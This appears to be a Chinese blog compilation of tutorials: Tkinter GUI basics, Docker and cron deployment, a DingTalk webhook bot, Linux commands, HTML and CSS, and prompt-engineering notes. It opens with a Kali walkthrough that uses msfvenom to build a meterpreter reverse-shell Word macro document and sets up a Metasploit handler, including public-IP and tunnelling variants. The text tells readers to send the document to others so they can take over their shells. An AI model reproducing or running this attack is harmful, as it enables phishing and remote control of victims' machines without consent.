0%

kali好久之前就已经安装好了, 当时不知道具体用法. 今天偶然发现kali如此有趣, 于是开一个kali系列的教程.

VBA是基于Visual Basic发展而来的,与Visual Basic具有相似的语言结构。使用VBA可以完成很多事情,基于Excel、Word的VBA小程序不计其数。宏病毒在Word中引入宏之后出现的。目前Office 是较为流行的编辑软件,并且跨越了多种操作系统,宏病毒利用这一点得到了大范围的传播。

构造一个包含宏病毒的Word文件也并不复杂,只要编写一个Auto_Open函数,就可自动引发病毒。 在Word打开这个文件时, 宏病毒会执行, 然后感染其他文件或直接删除其他文件等。Word宏和其他样式存储在模版DOT文件中, 因此总是把Word文件转成模版,再将其存储为宏。

好的, 现在开始教程!

打开kali, 在终端中键入msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.51 LPORT=4444 -f vba-exe

各参数意义如下:

  • –platform windows - 指定目标平台是Windows
  • -p windows/meterpreter/reverse_tcp - 指定使用的payload是meterpreter reverse TCP
  • LHOST=192.168.68.125 - 指定本地监听的IP地址
  • LPORT=4444 - 指定本地监听的端口号
  • -e x86/shikata_ga_nai - 使用shikata_ga_nai编码器对payload进行编码
  • -f vba-exe - 将payload输出为VBA格式的可执行文件

只有操作系统和架构不同的时候需要改一下命令, 对于windows电脑的64位系统, 上面的命令可以直接使用, 键入命令并确认后可以看到如下:

我们可以看到由两部分: macro code, 和data.

我们可以将macro制作成宏代码, data需要插入在word文档最后. 你需要保存为启用宏的文档, 后缀为docm

到现在就只做好word文档病毒了. 将文档发给别人, 然后进行如下操作:

在Kali中启动metasploit, 依次键入

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.51
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > exploit

然后就可以美美钓鱼劫持对方shell啦


更新

上面的内容是在局域网中劫持监听, 如果想要监听外网ip, 需要有一台云服务器(kali不必安装在此云服务器上)

使用msfvenom生成的反向连接payload,配合msfconsole的exploit/multi/handler也可以实现远程外网监听。

主要步骤是:

  1. 在Kali上使用msfvenom生成payload,设置外网IP作为LHOST:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=123.123.123.123 LPORT=4444 -f exe > shell.exe
  1. 在Kali上启动handler,设置与payload相同的监听配置:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123(所有ip换成你自己的公网ip)
set LPORT 4444
exploit
  1. 将shell.exe传到Windows目标机器运行。
  2. 目标机连接Kali的外网IP和端口,会得到一个反向连接的meterpreter session。

这里的关键是:

  • msfvenom设置外网IP作为LHOST
  • handler同样监听在外网IP上
  • Kali服务器需要具有外网可访问的IP
  • 需要在防火墙放行对应的端口

这样就可以实现通过公网IP来获取meterpreter shell了。


再更, 没有云服务器也可以搞, 只需要内网穿透, 反向代理一波

  1. 在Kali上设置端口转发,将局域网Kali的端口映射到公网服务器的端口,然后在公网服务器上监听转发的端口。
  2. 使用内网穿透工具如frp,在Kali上启动frp客户端,在公网服务器上启动frp服务端,实现内网Kali到公网的映射。
  3. 使用VPN,在Kali上连接公网服务器的VPN,获得公网IP,然后在Kali本机监听。
  4. 使用SSH隧道,通过公网服务器建立SSH隧道到内网Kali,然后Kali Bind到本地端口进行监听。
  5. 使用ngrok等内网映射工具,将Kali的某端口映射到公网URL,然后在Kali本机监听即可。
  6. 利用DNS解析指向内网Kali,使得目标主机反向连接时找到内网Kali。

常见组件

窗口

描述:窗口是Tkinter应用程序的主要容器。它可以包含其他组件,并提供应用程序的整体框架。

import tkinter as tk

# 创建主窗口
window = tk.Tk()

# 设置窗口标题
window.title("My App")

# 设置窗口大小
window.geometry("400x300")

# 运行窗口主循环
window.mainloop()

标签

描述:标签用于在GUI中显示文本或图像。它可以用于显示静态文本或作为其他组件的说明性文本。

import tkinter as tk

window = tk.Tk()

# 创建标签
label = tk.Label(window, text="Hello, World!")

# 显示标签
label.pack()

window.mainloop()

按钮

描述:按钮允许用户与应用程序进行交互。当按钮被点击时,可以执行相应的操作或触发事件。

import tkinter as tk

window = tk.Tk()

def button_click():
    print("Button clicked!")

# 创建按钮
button = tk.Button(window, text="Click Me", command=button_click)

# 显示按钮
button.pack()

window.mainloop()

文本框

描述:文本框允许用户输入文本。你可以使用文本框来收集用户的输入或显示文本数据

import tkinter as tk

window = tk.Tk()

def get_input():
    user_input = entry.get()
    print("User input:", user_input)

# 创建文本框
entry = tk.Entry(window)

# 显示文本框
entry.pack()

# 创建按钮
button = tk.Button(window, text="Submit", command=get_input)

# 显示按钮
button.pack()

window.mainloop()

frame组件

Tkinter的Frame组件是一个矩形区域,用于容纳其他Tkinter组件或布局管理器。它可以作为容器或边框,用于组织和布局其他组件。下面是对Tkinter的Frame组件的详细介绍和用法:

1. 创建Frame组件:
要创建一个Frame组件,可以使用tkinter.Frame类。以下是一个基本的示例:

import tkinter as tk

window = tk.Tk()

# 创建一个Frame组件
frame = tk.Frame(window, width=200, height=200, bg="red")

# 显示Frame组件
frame.pack()

window.mainloop()

在上述示例中,我们创建了一个宽度为200,高度为200,背景颜色为红色的Frame组件,并将其显示在窗口中。

2. 使用Frame组件作为容器:
Frame组件可以作为容器,用于容纳其他Tkinter组件。你可以在Frame中添加其他组件,如标签、按钮、文本框等。以下是一个示例:

import tkinter as tk

window = tk.Tk()

# 创建一个Frame组件
frame = tk.Frame(window)

# 在Frame组件中添加其他组件
label = tk.Label(frame, text="Hello, World!")
button = tk.Button(frame, text="Click Me")

label.pack()
button.pack()

# 显示Frame组件
frame.pack()

window.mainloop()

在上述示例中,我们在Frame组件中添加了一个标签和一个按钮。

3. 使用布局管理器管理Frame中的组件:
你可以使用Tkinter提供的布局管理器,如packgridplace,在Frame中管理和布局其他组件。以下是一个示例:

import tkinter as tk

window = tk.Tk()

# 创建一个Frame组件
frame = tk.Frame(window)

# 在Frame组件中使用grid布局管理器
label1 = tk.Label(frame, text="Label 1")
label1.grid(row=0, column=0)

label2 = tk.Label(frame, text="Label 2")
label2.grid(row=0, column=1)

button = tk.Button(frame, text="Click Me")
button.grid(row=1, column=0, columnspan=2)

# 显示Frame组件
frame.pack()

window.mainloop()

在上述示例中,我们使用grid布局管理器在Frame中布置了几个组件。

4. Frame组件的属性和方法:
Frame组件具有一些有用的属性和方法,用于自定义和操作它。以下是一些常用的属性和方法:

  • bg:设置Frame组件的背景颜色。
  • width:设置Frame组件的宽度。
  • height:设置Frame组件的高度。
  • config(**options):配置Frame组件的属性,可以使用关键字参数传递多个选项。
  • pack(**options):使用pack布局管理器显示Frame

件。

  • grid(**options):使用grid布局管理器显示Frame组件。
  • place(**options):使用place布局管理器显示Frame组件。

这些是Frame组件的一些常见用法和功能。Frame组件在Tkinter中是一个非常有用的容器,可用于组织和布局其他组件。通过结合不同的布局管理器和其他Tkinter组件,你可以创建出丰富和灵活的用户界面。

布局管理器

Grid布局管理器

描述:grid布局管理器使用网格的形式来布置组件。你可以将组件放置在行和列的交叉点上,并控制它们的位置和大小。

import tkinter as tk

window = tk.Tk()

# 创建并显示三个标签,使用grid布局
label1 = tk.Label(window, text="Label 1")
label1.grid(row=0, column=0)

label2 = tk.Label(window, text="Label 2")
label2.grid(row=0, column=1)

label3 = tk.Label(window, text="Label 3")
label3.grid(row=1, column=0, columnspan=2)

window.mainloop()
#一个用grid布局的实例
import tkinter as tk
from tkinter import messagebox

root = tk.Tk()
root.title("C语言中文网")

root.iconbitmap('C:/Users/Administrator/Desktop/C语言中文网logo.ico')
root.resizable(0,0)

tk.Label(root, text="用户名").grid(row=0, sticky="w")
tk.Label(root, text="密码").grid(row=1, sticky="w")

tk.Entry(root).grid(row=0, column=1)
tk.Entry(root, show="*").grid(row=1, column=1)
# 加载图片LOGO,注意这里是gif格式的图片
photo = tk.PhotoImage(file="C:/Users/Administrator/Desktop/1.gif")

tk.Label(root, image=photo).grid(row=0, column=2, rowspan=2, padx='4px', pady='5px')

# 编写一个简单的回调函数
def login():
    messagebox.showinfo('欢迎来到C语言中文网')

# 使用grid()函数来布局,并控制按钮的显示位置
tk.Button(root, text="登录", width=10, command=login).grid(row=3, column=0, columnspan=2,sticky="w", padx=10, pady=5)
tk.Button(root, text="退出", width=10, command=root.quit).grid(row=3, column=1, columnspan=2,sticky="e", padx=10, pady=5)
# 开启事件主循环
root.mainloop()

处理用户输入和事件

按钮点击

描述:处理按钮点击事件是最常见的用户交互操作之一。你可以定义一个回调函数,当按钮被点击时,这个函数会被调用执行相应的操作。

详细代码见上面的

鼠标事件

描述:Tkinter提供了几种鼠标事件,例如鼠标点击、鼠标移动等。你可以为组件绑定相应的事件处理函数,并根据需要执行操作。

import tkinter as tk

def mouse_click(event):
    print("Mouse clicked at:", event.x, event.y)

window = tk.Tk()

# 创建一个标签并为其绑定鼠标点击事件
label = tk.Label(window, text="Click me!")
label.bind("<Button-1>", mouse_click)
label.pack()

window.mainloop()

键盘事件

描述:你可以捕捉键盘事件,例如按键按下和释放等。通过为组件绑定键盘事件处理函数,你可以执行相应的操作。

import tkinter as tk

def key_pressed(event):
    print("Key pressed:", event.char)

window = tk.Tk()

# 创建一个文本框并为其绑定键盘事件
entry = tk.Entry(window)
entry.bind("<Key>", key_pressed)
entry.pack()

window.mainloop()

样式和主题

样式选项:

  • 描述:每个Tkinter组件都有一些可用的样式选项,可以用于自定义组件的外观。你可以通过设置这些选项来改变字体、颜色、边框等属性。

  • grid() 函数的常用参数如下所示:

    属性 说明
    column 控件位于表格中的第几列,窗体最左边的为起始列,默认为第 0 列
    columnsapn 控件实例所跨的列数,默认为 1 列,通过该参数可以合并一行中多个领近单元格。
    ipadx,ipady 用于控制内边距,在单元格内部,左右、上下方向上填充指定大小的空间。
    padx,pady 用于控制外边距,在单元格外部,左右、上下方向上填充指定大小的空间。
    row 控件位于表格中的第几行,窗体最上面为起始行,默认为第 0 行
    rowspan 控件实例所跨的行数,默认为 1 行,通过该参数可以合并一列中多个领近单元格。
    sticky 该属性用来设置控件位于单元格那个方位上,参数值和 anchor 相同,若不设置该参数则控件在单元格内居中
import tkinter as tk
from tkinter import ttk

window = tk.Tk()

# 创建一个按钮
button = ttk.Button(window, text="Button")

# 设置样式选项
button.config(foreground="red", background="lightgray", font=("Arial", 12, "bold"))

# 显示按钮
button.pack()

window.mainloop()

主题

描述:Tkinter还提供了一些预定义的主题,可以快速改变整个应用程序的外观。你可以选择不同的主题,如clamaltdefault等。

import tkinter as tk
from tkinter import ttk

window = tk.Tk()

# 创建一个标签
label = ttk.Label(window, text="Hello, World!")

# 设置主题
ttk.Style().theme_use("clam")

# 显示标签
label.pack()

window.mainloop()

自定义样式

描述:除了使用预定义的样式选项和主题外,你还可以创建自定义样式。这样可以更灵活地定义组件的外观和样式。

import tkinter as tk
from tkinter import ttk

window = tk.Tk()

# 创建一个按钮
button = ttk.Button(window, text="Button")

# 创建一个自定义样式
ttk.Style().configure("CustomButton.TButton", foreground="blue", background="yellow")

# 应用自定义样式
button.config(style="CustomButton.TButton")

# 显示按钮
button.pack()

window.mainloop()

常见样式选项

  1. 通用样式选项:

    • background:背景颜色
    • foreground:前景(文本)颜色
    • font:字体(可以设置字体名称、大小和样式)
    • borderwidth:边框宽度
    • relief:边框样式(如tk.SUNKENtk.RAISEDtk.FLAT等)
  2. 按钮样式选项:

    • activebackground:鼠标悬停时的背景颜色
    • activeforeground:鼠标悬停时的前景颜色
    • disabledforeground:禁用状态下的前景颜色
    • highlightbackground:焦点框背景颜色
    • highlightcolor:焦点框颜色
  3. 标签样式选项:

    • anchor:文本对齐方式(如tk.W, tk.E, tk.N, tk.S, tk.CENTER等)
    • justify:文本对齐方式(如tk.LEFT, tk.RIGHT, tk.CENTER等)
    • wraplength:文本换行的宽度限制
  4. 文本框样式选项:

    • show:用于替代显示实际文本内容的字符(用于密码输入框等)
    • width:文本框的宽度(以字符数为单位)
    • height:文本框的高度(以文本行数为单位)

这只是一小部分常见的样式选项示例。对于每个组件,可以通过查阅Tkinter的官方文档或其他资源来获取完整的样式选项列表和其详细说明。此外,你还可以创建自定义样式选项,以满足你的特定需求。

先在自己的win电脑上下载docker desktop. 这里以构建python项目镜像为例

创建dockerfile

Dockerfile是一个包含用户定义的指令的文本文档,它可以指定基本镜像,并包含创建容器时应运行的所有命令。以下是一个例子:

# 选择一个基础镜像
FROM python:3.8

# 设置工作目录
WORKDIR /app

# 将当前目录下的所有文件(除了.dockerignore排除的路径),复制到 /app下
ADD . /app

# 安装项目需要的包
RUN pip install --no-cache-dir -r requirements.txt

# 声明服务端口
EXPOSE 8080

# 启动时运行 Python 应用
CMD ["python", "./your_script.py"]

需要替换的部分:

  • python:3.8: 你项目所使用的Python版本
  • ./your_script.py: 你需要运行的Python脚本的相对路径

其它的基本不用变

.dockerignore文件

类似于 .gitignore 文件,.dockerignore 文件可以避免不必要的文件或目录被复制到Docker镜像中。

__pycache__
*.pyc
*.pyo
*.pyd

docker build构建docker镜像

在你的项目根目录下(即Dockerfile所在的位置),运行以下命令来构建你的Docker镜像:

docker build -t your-image-name .

其中 your-image-name 是你给你的Docker镜像起的名字。

docker run试一下

docker run -d -p 8080:8080 your-image-name

-d 标志表示以”detached”模式(即后台模式)运行容器,-p 标志用于将容器内部的网络端口映射到我们的主机上。在这个例子中,我们将容器的8080端口映射到主机的8080端口。这样你的Python应用就应该在你的本地Windows电脑上以Docker的方式运行起来了。

docker push推送

docker login
docker tag your-image-name:latest your-dockerhub-username/your-image-name:latest
docker push your-dockerhub-username/your-image-name:latest

注意将 your-dockerhub-usernameyour-image-name 替换成你的Docker Hub用户名和你的镜像名。

到此你的镜像就构建完成并上传到dockerhub了, 其它设备可以方便地构建容器

在Ubuntu云服务器上部署Docker容器

(假设你没有在ubuntu上安装Docker)

  • 首先,你需要在Ubuntu服务器上安装Docker。登录到你的Ubuntu服务器,然后运行以下命令来安装Docker:

    sudo apt-get update
    sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    sudo apt-get update
    sudo apt-get install docker-ce
  • 从Docker Hub上拉取你的Docker镜像并运行:

    docker pull your-dockerhub-username/your-image-name:latest
    docker run -d -p 8080:8080 your-dockerhub-username/your-image-name:latest

    注意将 your-dockerhub-usernameyour-image-name 替换成你的Docker Hub用户名和你的镜像名。也可以不开端口, 就不要-p参数

cron

顺便再讲一下Ubuntu上定时运行程序的一个工具

在Ubuntu上定时运行Docker容器,可以利用cron来实现。以下是操作步骤:

  1. 打开crontab编辑器:

    在终端输入crontab -e命令。如果是第一次运行这个命令,系统可能会让你选择一个编辑器(比如nano或vim)。

  2. 添加一个cron任务:

    在crontab编辑器中,你可以添加一行来定义你的定时任务。每一行代表一个定时任务,格式如下:

    *     *     *   *    *        command to be executed
    -     -     -   -    -
    |     |     |   |    |
    |     |     |   |    +----- day of the week (0 - 6) (Sunday=0)
    |     |     |   +------- month (1 - 12)
    |     |     +--------- day of the month (1 - 31)
    |     +----------- hour (0 - 23)
    +------------- min (0 - 59)

    例如,如果你想每天的凌晨1点运行你的Docker容器,你可以添加以下行:

    0 1 * * * /usr/bin/docker run --rm your-image-name

    这行命令的意思是在每天的1点0分(即每天凌晨1点)执行/usr/bin/docker run --rm your-image-name命令。--rm选项意味着每次运行完容器后删除容器,这通常在你不需要保留容器运行结果时使用。

    注意:请将your-image-name替换为你的实际Docker镜像名称。

钉钉的群组可以构建自定义机器人, 机器人添加成功之后会返回一个token, 你也可以在配置机器人的时候加签, 就会额外再返回一个secret, 提高通讯的安全性

但是这样操作会复杂不少, 下面先给出不配置加签的代码:

import requests
import json

# 钉钉机器人的webhook
webhook = "https://oapi.dingtalk.com/robot/send?access_token=your_token"

# 构建请求头部
header = {
    "Content-Type": "application/json",
    "Charset": "UTF-8"
}

# 构建请求数据,此处为发送文本信息
message ={
    "msgtype": "text",
    "text": {
        "content": "你想要发送的消息"
    },
    "at": {
        "isAtAll": True
    }
}

# 对请求数据进行json封装
message_json = json.dumps(message)

# 发送HTTP POST请求到钉钉webhook
info = requests.post(url=webhook, data=message_json, headers=header)

# 打印请求结果
print(info.text)

quite simple and beautiful!

如果你的钉钉机器人启用了加签安全设置,那么在发送消息时,你需要在URL中添加一个签名参数(sign)。

下面是如何生成签名的步骤:

  1. 获取当前时间戳和Secret
  2. 拼接成字符串并用HmacSHA256算法加密
  3. 将加密后的字符串进行Base64编码,得到签名
import requests
import json
import hmac
import hashlib
import base64
import urllib.parse
import time

# 钉钉机器人的access_token
access_token = "your_token"

# 钉钉机器人的Secret
secret = "your_secret"

# 获取当前时间戳(毫秒级),转换为字符串
timestamp = str(round(time.time() * 1000))

# 拼接需要加密的字符串
secret_enc = secret.encode('utf-8')
string_to_sign = '{}\n{}'.format(timestamp, secret)
string_to_sign_enc = string_to_sign.encode('utf-8')

# 使用HmacSHA256算法计算签名,并进行Base64编码
hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()
sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))

# 构建请求头部
header = {
    "Content-Type": "application/json",
    "Charset": "UTF-8"
}

# 构建请求数据,此处为发送文本信息
message ={
    "msgtype": "text",
    "text": {
        "content": "你想要发送的消息"
    },
    "at": {
        "isAtAll": True
    }
}

# 对请求数据进行json封装
message_json = json.dumps(message)

# 构建请求的URL,包含签名和时间戳
webhook = "https://oapi.dingtalk.com/robot/send?access_token={}&timestamp={}&sign={}".format(access_token, timestamp, sign)

# 发送HTTP POST请求到钉钉webhook
info = requests.post(url=webhook, data=message_json, headers=header)

# 打印请求结果
print(info.text)

  1. docker –version

  2. docker search

    通过 Docker hub 搜索特定镜像。该命令返回具体信息,包括图像名称、描述、自动化、官方星级等。以下是如何使用它 -

    docker search MySQL

    您可以使用 Docker Hub 网站来搜索基于 GUI 的选项。

  3. docker pull

    从 Docker Hub 中提取特定的映像。您所要做的就是使用命令“docker pull”以及图像名称

  4. docker run

    该命令用于从镜像创建容器。具体做法如下——

    docker run --env MYSQL_ROOT_PASSWORD=my-secret-pw --detach mysql

    ‘–detach’ 选项运行容器,’–env’ 选项用于设置强制变量。如果不使用“–name”选项,docker会随机为容器分配一个名称。

  5. docker ps

    该命令用于列出后台所有正在运行的容器

    docker ps --all
  6. docker stop

    “docker stop”命令使用容器名称或其 ID 停止容器。具体做法如下——

    docker stop f8c52bedeecc
  7. docker restart

    该命令用于重新启动已停止的容器。建议重启系统后使用。具体做法如下——

    greatlearning@greatlearning:/home/greatlearning$
    docker restart f8c52bedeecc
  8. docker kill

    该命令用于通过终止容器的执行来立即停止容器。虽然“docker stop”命令有助于在自己的时间关闭容器,但“docker Kill”命令会立即停止它。这里是使用它——

    greatlearning@greatlearning:/home/greatlearning$
    docker kill 09ca6feb6efc
    To check whether the container is stopped or killed, use the following command -
    greatlearning@greatlearning:/home/greatlearning$ docker ps
    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
  9. docker exec

    该命令用于访问正在运行的容器。以下是如何使用它 –

    docker exec -it test_db bash
    mysql -uroot -pmy-secret-pw
    SHOW DATABASES;

    您必须提供容器的名称或 ID,在本例中为“test_db”。**’-i’ 和 ‘-t’ 选项用于访问交互模式。**

  10. docker login 登录dockerhub

  11. docker commit

    该命令用于在本地系统上创建或保存编辑后的容器的映像。

  12. docker push

    此命令有助于在存储库或 docker hub 上推送或上传 docker 镜像

  13. docker network

    “docker network”命令用于了解集群中网络列表的详细信息。

  14. Docker rmi

    该命令用于释放一些磁盘空间。图像 ID 用于在使用此命令时删除图像。

    docker rmi eb0e825dc3cf
  15. docker copy

    此命令将文件从 docker 复制到本地系统

  16. docker log

  17. docker logout: 退出dockerhub

1. ls: list列出文件夹内容

ls -l

ls -l 查看文件大小、权限、修改时间等详细信息

2. cd: 更改目录

3. cat

cat filename

读取文本文件内容, 显示在屏幕上

4. less: 读取大文本文件

当您使用 less 打开文件时,它会以页面形式打开文件。您可以向上/向下滚动、查找文本等等。

读取完文件后,您可以按 Q 键退出 less 视图。您会注意到屏幕上没有显示任何内容。你的屏幕很干净。

5. touch: 创建新文件

6. mkdir: 创建新文件夹

7. cp: copy

想象一下您必须修改配置文件。明智的做法是使用其他名称复制该文件。这样,您将获得该文件的备份。

cp existing_file.txt existing_file.back

您也可以使用相同的 cp 命令来复制目录。为此,您必须指定递归选项-r

cp -r dir another_location

8. mv: move

mv 命令代表“移动”。当您将文件复制到另一个位置时,它仍保留在原来的位置。

mv 命令将文件和文件夹移动到其他位置。您可以将其视为剪切粘贴操作。

mv file.txt /another/location

您也可以使用 mv 命令重命名该文件。

mv file.txt new_file.txt

9. rm: rmove删除文件和文件夹

rm -rf *

10. vim: 用vim编辑器打开文件

退出并保存时用:wq

11. clear: 清除终端屏幕

12. ps: process查看并处理进程

ps 命令用于处理系统上运行的进程。每个进程都有一个称为 PID 的关联 ID

abhishek@itsfoss:~$ ps
    PID TTY          TIME CMD
  15358 ?        00:00:00 bash
  15404 ?        00:00:00 ps

这里,

PID:进程号
TTY:控制与进程相关的终端
TIME: CPU 总使用时间
CMD:运行进程的命令名称

要查看所有用户运行的所有进程,请使用:

ps aux

13. top: 系统监视器

ps 命令为您提供所有正在运行的进程,而 top 命令为您提供进程和系统资源消耗的实时视图。

要停止正在运行的 top 命令,请使用Ctrl+C键盘快捷键。

14. lsblk: 列出磁盘和分区

root@learnubuntu:~# lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0     7:0    0 79.9M  1 loop /snap/lxd/22923
loop1     7:1    0  103M  1 loop /snap/lxd/23541
loop2     7:2    0 63.2M  1 loop /snap/core20/1623
loop3     7:3    0   48M  1 loop /snap/snapd/17336
loop4     7:4    0   48M  1 loop /snap/snapd/17029
loop6     7:6    0 63.2M  1 loop /snap/core20/1634
vda     252:0    0   25G  0 disk 
├─vda1  252:1    0 24.9G  0 part /
├─vda14 252:14   0    4M  0 part 
└─vda15 252:15   0  106M  0 part /boot/efi
vdb     252:16   0  466K  1 disk 
root@learnubuntu:~# 

15. fdisk: 列出和管理磁盘和分区

另一个类似但更好的命令是fdisk命令。它允许您操作磁盘分区。这意味着您可以使用此命令创建新分区并删除现有分区并调整其大小。

16. find:搜索文件

这是 find 命令的示例,它将为您提供所有以 . 当前目录中的txt扩展名。

find . -type f -name "*.txt"

17. grep: 在文件内容中搜索

find 命令根据文件名和类型搜索文件。如果要根据文件内容进行搜索,可以使用 grep 命令。

grep -r "word"

全局搜索word

18. kill: 终止进程

sudo kill -9 process_ID_or_Name

正如您在上面的命令中看到的,您需要知道进程 ID (PID) 或名称才能终止它。您可以使用 ps 或 top 命令来获取 PID 或确切的进程名称。

ps aux | grep -i “name of your desired program”

您注意到 grep 命令的使用了吗?您已经在使用此列表中提到的命令

19: history命令历史记录

您可以选择使用其编号来运行历史记录中的条目,如下所示:

!number

但即使历史记录也可能很大,所以再次使用 grep 命令来过滤您的搜索词。

abhishek@itsfoss:~$ history | grep aux
 1915  ps aux
 1952  ps aux | grep -i spotify
 1955  ps -aux | grep -i calculator
 1957  ps -aux | grep -i calculator
 1959  ps -aux | grep -i calculator
 1970  history | grep aux

20. chmod: change mod更改文件权限

例如,如果希望所有者拥有所有权限,而组和公共没有权限,则需要以绝对模式设置权限700:(7=1X+2W+4R)

chmod 700 filename

****chmod****最常用的情况之一可能是为文件提供执行位。通常在下载可执行文件后,您需要在使用它之前添加此权限。授予所有者、组和其他所有人执行文件的权限:

chmod +x /path/to/file

21. lshw:获取硬件详细信息

22. sudo -i

23. apt:安装、删除和管理.deb包

要安装包,请使用:

sudo apt install package_name

要删除已安装的软件,请使用:

sudo apt remove package_name

要一次性使用所有可升级包更新您的 Ubuntu 系统:

sudo apt update && sudo apt upgrade

24. ip:查看IP地址等信息

ip a

25. ping: 检查远程系统是否可达

26. ssh: 连接到远程系统

ssh user@ip_address_of_remote_system

27. scp:在远程系统之间复制文件

scp 命令的工作方式几乎与您之前看到的 cp 命令类似。

下面的示例将文件从远程系统上用户的主目录复制到本地登录系统的当前目录。

scp username@ip_address:/home/username/filename .

28. exit: 关闭终端

29. shutdown:关闭或重新启动系统

HTML

<html>
    <body>
        <h1>
            这是一个标题.
        </h1>
        <p>
            段落
        </p>
    </body>
</html>

<p style="color:red">...</p>

body, head:

包含着页面的信息,内容会显示在页面中

h1~h6

这是一级标题

ol,ul,li

`


  1. 有序列表1

  2. 有序列表2

`

`


  • 无序列表1

  • 无序列表2

`

链接,图片

<a href="https://buaa.lol">点击打开我的博客</a>

image是单标签, 无需成对出现

表格

周六 周日
门票售出数量 120 32
销售额 1200 320

输入控件

按钮, name输入控件的名称, 会与输入控件的内容一起提交到服务器

checkbox多选框

radio: 单选框

password: 密码

submit: 提交

text: 普通文本输入

指定颜色

输入日期

输入日期和时间

输入邮箱

选择文件 accept表示接受的文件类型

下拉选择框

表单

`

表单, 里面包含其他表单控件, 点击里面的提交按钮之后表单会被提交

注释

CSS

在html引入css

外部样式

<html>
    <head>
        <link href="css/style.css" type="text/css" rel="stylesheet" />
    </head>
</html>

使用内部样式

<html>
    <head>
        <style>
            body, a{padding:0;}
        </style>
    </head>
</html>

css选择器

  • 按照标签类型指定: h1, a, input
  • 类选择器: <a class="highlight small">example, .highlight
  • id选择器 #mid

Javascript与DOM

JavaScript对象,函数

数组

函数调用模式与this变量

JavaScript引入html

window对象

HTML DOM

innerHTML

设置监听器

DOM加载与Javascript执行时机

alert与console

prompt指南

1:写出清晰具体的说明

策略 1:使用分隔符清楚地指示输入的不同部分

  • 三重引号:”””

  • 三重反引号:```

  • 三连划线:—

  • 尖括号:< >

  • XML 标签:

策略 2:要求结构化输出

  • JSON
  • 超文本标记语言

策略 3:要求模型检查条件是否满足

策略4: 在自然语言处理中,上下文学习少样本学习或少样本提示是一种提示技术,允许模型在尝试任务之前处理示例

prompt = f"""
Your task is to answer in a consistent style.

<child>: Teach me about patience.

<grandparent>: The river that carves the deepest \ 
valley flows from a modest spring; the \ 
grandest symphony originates from a single note; \ 
the most intricate tapestry begins with a solitary thread.

<child>: Teach me about resilience.
"""
response = get_completion(prompt)
print(response)

2: 给LLM时间思考

策略1: 制定完成任务所需步骤

prompt_2 = f"""
Your task is to perform the following actions: 
1 - Summarize the following text delimited by 
  <> with 1 sentence.
2 - Translate the summary into French.
3 - List each name in the French summary.
4 - Output a json object that contains the 
  following keys: french_summary, num_names.

Use the following format:
Text: <text to summarize>
Summary: <summary>
Translation: <summary translation>
Names: <list of names in Italian summary>
Output JSON: <json with summary and num_names>

Text: <{text}>
"""
response = get_completion(prompt_2)
print("\nCompletion for prompt 2:")
print(response)

Summary: Jack and Jill go on a quest to fetch water, but misfortune strikes and they tumble down the hill, returning home slightly battered but with their adventurous spirits undimmed. 
Translation: Jack et Jill partent en quête d'eau, mais la malchance frappe et ils dégringolent la colline, rentrant chez eux légèrement meurtris mais avec leurs esprits aventureux intacts.
Names: Jack, Jill
Output JSON: {"french_summary": "Jack et Jill partent en quête d'eau, mais la malchance frappe et ils dégringolent la colline, rentrant chez eux légèrement meurtris mais avec leurs esprits aventureux intacts.", "num_names": 2}

策略 2:指示模型在得出结论之前先找出自己的解决方案

prompt = f"""
Your task is to determine if the student's solution \
is correct or not.
To solve the problem do the following:
- First, work out your own solution to the problem. 
- Then compare your solution to the student's solution \ 
and evaluate if the student's solution is correct or not. 
Don't decide if the student's solution is correct until 
you have done the problem yourself.

Use the following format:
Question:
```
question here
```
Student's solution:
```
student's solution here
```
Actual solution:
```
steps to work out the solution and your solution here
```
Is the student's solution the same as actual solution \
just calculated:
```
yes or no
```
Student grade:
```
correct or incorrect
```

Question:
```
I'm building a solar power installation and I need help \
working out the financials. 
- Land costs $100 / square foot
- I can buy solar panels for $250 / square foot
- I negotiated a contract for maintenance that will cost \
me a flat $100k per year, and an additional $10 / square \
foot
What is the total cost for the first year of operations \
as a function of the number of square feet.
``` 
Student's solution:
```
Let x be the size of the installation in square feet.
Costs:
1. Land cost: 100x
2. Solar panel cost: 250x
3. Maintenance cost: 100,000 + 100x
Total cost: 100x + 250x + 100,000 + 100x = 450x + 100,000
```
Actual solution:
"""
response = get_completion(prompt)
print(response)
Let x be the size of the installation in square feet.

Costs:
1. Land cost: 100x
2. Solar panel cost: 250x
3. Maintenance cost: 100,000 + 10x

Total cost: 100x + 250x + 100,000 + 10x = 360x + 100,000

Is the student's solution the same as actual solution just calculated:
No

Student grade:
Incorrect

模型限制 :幻觉

减少幻觉:

  • 让模型(或者自己)首先查找相关资料
  • 然后根据相关信息回答问题

迭代询问

通过迭代过程提示指导方针

  • 尝试一些事情,要清晰具体
  • 分析为什么结果没有给出期望的输出
  • 澄清指示,给予更多时间思考
  • 用一批例子完善想法和提示
  • 重复
fact_sheet_chair = """
OVERVIEW
- Part of a beautiful family of mid-century inspired office furniture, 
including filing cabinets, desks, bookcases, meeting tables, and more.
- Several options of shell color and base finishes.
- Available with plastic back and front upholstery (SWC-100) 
or full upholstery (SWC-110) in 10 fabric and 6 leather options.
- Base finish options are: stainless steel, matte black, 
gloss white, or chrome.
- Chair is available with or without armrests.
- Suitable for home or business settings.
- Qualified for contract use.

CONSTRUCTION
- 5-wheel plastic coated aluminum base.
- Pneumatic chair adjust for easy raise/lower action.

DIMENSIONS
- WIDTH 53 CM | 20.87”
- DEPTH 51 CM | 20.08”
- HEIGHT 80 CM | 31.50”
- SEAT HEIGHT 44 CM | 17.32”
- SEAT DEPTH 41 CM | 16.14”

OPTIONS
- Soft or hard-floor caster options.
- Two choices of seat foam densities: 
